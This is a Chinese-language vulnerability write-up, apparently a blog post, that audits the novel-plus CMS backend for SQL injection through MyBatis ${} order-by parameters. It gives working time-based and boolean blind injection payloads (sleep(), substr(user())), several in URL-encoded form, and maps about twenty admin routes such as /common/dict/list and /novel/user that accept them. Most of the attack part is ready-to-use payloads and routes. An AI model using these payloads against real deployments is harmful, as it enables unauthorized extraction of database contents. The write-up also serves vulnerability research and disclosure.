novel-plus后台sql注入
shiro框架
Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代码中的默认密钥,而且配置中也没有设置密钥,无法利用
登录后台
没找到默认账号密码,debug生成一个admin/123456
数据库中sys_usr修改密码为
d0af8fa1272ef5a152d9e27763eea293
提示:类型路由都是一样的,都是在list方法,由于是后台注入
使用者只需要进入数据库中,将用户名密码修改复杂一些,无法爆破出来即可
查找注入 在mybatis配置文件中查找$符号,在DictMapper.xml找到了该符号
进入Dictdao.java
查找声明
DictServiceImpl.java
继续查找
在DictController中,路由是/common/dict/list
,拼接访问
burpsuite数据包为
这里传入的是limit的两个参数,而limit位置使用了预编译写法,这里传入的应该是order by的两个参数,即sort,order,但是由于sort参数写法
最后的数据库查询类似于
select *form database where sort='poc' order by poc limit 0,10
所以最后的poc为
1 AND (SELECT if((substr((select user()),1,1)="r"),sleep(0.2),0))
url编码
%31%20%41%4e%44%20%28%53%45%4c%45%43%54%20%69%66%28%28%73%75%62%73%74%72%28%28%73%65%6c%65%63%74%20%75%73%65%72%28%29%29%2c%31%2c%31%29%3d%22%72%22%29%2c%73%6c%65%65%70%28%30%2e%32%29%2c%30%29%29
发送
由于这里是4条数据,所以延时0.8秒 这里显示830毫秒也是一样的
如果是order参数
and if((substr((select user()),1,1)='r'),sleep(0.5),0)
url编码
%61%6e%64%20%69%66%28%28%73%75%62%73%74%72%28%28%73%65%6c%65%63%74%20%75%73%65%72%28%29%29%2c%31%2c%31%29%3d%27%72%27%29%2c%73%6c%65%65%70%28%30%2e%35%29%2c%30%29%20
两条数据延时1秒,
最后执行的语句为
select * from sys_dict WHERE sort = 'id' order by id and if((substr((select user()),1,1)='r'),sleep(0.5),0) limit 0, 10
//修改过,查询的参数比较多,想要的只是order by后面的内容
继续查找$符号
在FileMapper.xml中也有一个order by参数,进入FileDao,查找声明
在FileServiceImpl,继续查找,在FileController中
路径 /common/sysFile
一样的参数,一样的poc
limit=12&offset=0&sort=id&order=and if((substr((select user()),1,1)='r'),sleep(0.5),0)
当然了
limit=12&offset=0&sort=&order=id and if((substr((select user()),1,1)='r'),sleep(0.5),0)
limit=12&offset=0&sort=id and if((substr((select user()),1,1)='r'),sleep(0.5),0) &order=
也是可以的,适当修改sleep()数值,避免延时太长
继续查找,只给出poc和导向
GenColumnsMapper.xml——》GenColumnsDao——》GeneratorServiceImpl.listColumnsByTableName——》GeneratorController.genColumnsList
但是GeneratorController.genColumnsList接受的只是tableName,sort和order参数无法控制
而tableName参数是预编译写法,无法利用
LogMapper.xml
list——》LogDao.list——》LogServiceImpl.queryList——》LogController.list
路由
/common/log/list
poc
sort=&order=if((substr((select user()),1,1)='r'),username,id)
sort=&order=%61%6e%64%20%69%66%28%28%73%75%62%73%74%72%28%28%73%65%6c%65%63%74%20%75%73%65%72%28%29%29%2c%31%2c%31%29%3d%27%72%27%29%2c%73%6c%65%65%70%28%30%2e%35%29%2c%30%29%20
//都写在一个参数里面也可以
这里数据比较多,延时注入太久,使用布尔注入,通过数据的排列方式不同进行判断
if((substr((select user()),1,1)='a'),username,id)
%69%66%28%28%73%75%62%73%74%72%28%28%73%65%6c%65%63%74%20%75%73%65%72%28%29%29%2c%31%2c%31%29%3d%27%61%27%29%2c%75%73%65%72%6e%61%6d%65%2c%69%64%29
AuthorMapper.xml——》AuthorDao——》AuthorServiceImpl——》AuthorController
路由
/novel/author/list
poc
sort=%69%64%20%61%6e%64%20%69%66%28%28%73%75%62%73%74%72%28%28%73%65%6c%65%63%74%20%75%73%65%72%28%29%29%2c%31%2c%31%29%3d%27%72%27%29%2c%73%6c%65%65%70%28%31%29%2c%30%29&order=
sort=id and if((substr((select user()),1,1)='r'),sleep(1),0)&order=
或者
sort=id&order=%20%61%6e%64%20%69%66%28%28%73%75%62%73%74%72%28%28%73%65%6c%65%63%74%20%75%73%65%72%28%29%29%2c%31%2c%31%29%3d%27%72%27%29%2c%73%6c%65%65%70%28%31%29%2c%30%29
sort=id&order= and if((substr((select user()),1,1)='r'),sleep(1),0)
前提这里的sort不能为空
接下来就不详细写了
直写链路和路由,poc都是一样的,而且都是在list位置
BookCommentMapper——》BookCommentDao——》BookCommentServiceImpl——》BookCommentController
/novel/bookComment
BookContentMapper.xml——》BookContentDao——》BookContentServiceImpl——》BookContentController
/novel/bookContent
BookIndexMapper.xml——》BookIndexDao——》BookIndexServiceImpl——》BookIndexController
/novel/bookIndex
BookMapper.xml——》BookDao——》BookServiceImpl——》BookController——》
/novel/book
BookSettingMapper.xml——》BookSettingDao——》BookSettingServiceImpl——》BookSettingController
/novel/bookSetting
CategoryMapper.xml——》CategoryDao——》CategoryServiceImpl——》CategoryController
/novel/category
FriendLinkMapper.xml——》FriendLinkDao——》FriendLinkServiceImpl——》FriendLinkController
/novel/friendLink
NewsMapper.xml——》NewsDao——》NewsServiceImpl——》NewsController
/novel/news
PayMapper.xml——》PayDao——》PayServiceImpl——》PayController
/novel/pay
UserFeedbackMapper.xml——》UserFeedbackDao——》UserFeedbackServiceImpl——》UserFeedbackController
/novel/userFeedback
UserMapper.xml——》UserDao——》UserServiceImpl——》UserController
/novel/user
WebsiteInfoMapper这个没有,控制器没有list方法,dao层中虽然有,但是没方法调用
DataPermMapper.xml——》DataPermDao——》SDataPermerviceImpl——》DataPermController
/system/dataPerm
DeptMapper这个没有,参数内容不可控
MenuMapper.xml——》MenuDao——》MenuServiceImpl——》MenuController
/system/menu
RoleDataPermMapper.xml——》RoleDataPermDao——》RoleDataPermServiceImpl——》RoleDataPermController
/system/roleDataPerm
RoleDataPermMapper这个没有参数内容不可空或者要求Long类型
RoleMapper这个没有,没有方法调用dao层下面的list方法
UserMapper.xml——》UserDao——》UserServiceImpl——》UserController
/sys/user
UserRole这个没有,没有方法调用